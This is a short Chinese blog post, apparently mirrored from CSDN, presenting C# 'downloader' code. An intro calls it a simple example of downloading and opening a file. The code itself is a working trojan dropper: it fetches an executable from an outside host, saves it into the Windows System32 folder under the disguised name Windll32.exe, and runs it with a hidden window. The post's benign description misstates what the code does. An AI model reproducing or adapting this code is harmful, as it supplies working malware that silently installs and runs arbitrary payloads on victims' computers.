Downloader Code For CSharp

最新推荐文章于 2025-07-02 16:58:44 发布

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最新推荐文章于 2025-07-02 16:58:44 发布

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文章标签： Windows .net Gmail C C++

本文提供了一个使用C#编写的简单示例，演示如何利用URLDownloadToFile从互联网下载文件到指定路径，并通过ShellExecute调用打开下载的文件。该代码适用于Windows环境，基于.NET Framework 2.0。

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Downloader Code For CSharp

BY Delphiscn(Delphiscn@gmail.com)http://blog.youkuaiyun.com/delphiscn

Environment: Windows Vista Home Premium VS 2005 Net 2.0

using System.Runtime.InteropServices;
using System;

class Task
{
[DllImport ("Shell32.dll")]
public extern static int ShellExecute([MarshalAs(UnmanagedType.LPTStr)] int handle, String lpOperation, String lpFile, String lpParameters, string lpDirectory, int nShowCmd
);
[DllImport ("urlmon.dll")]
public extern static int URLDownloadToFile([MarshalAs(UnmanagedType.LPTStr)] string pCaller, string szURL, string szFileName, int dwReserved, string lpfnCB
);
static void AboutCoder()
{
Console .Write("+=====================================================+");
Console .Write("Code BY Delphiscn (Delphiscn@gamil.com) http://blog.youkuaiyun.com/delphiscn");
Console .Write("+=====================================================+");
}

static void Main()
{
//AboutCoder ;
URLDownloadToFile(null ,"http://www.lzitw.com/kj/hoho.exe","C:\\Windows\\System32\\Windll32.exe",0,null );
ShellExecute(0, "open", "C:\\Windows\\System32\\Windll32.exe", null, null, 0);
return;
}
}

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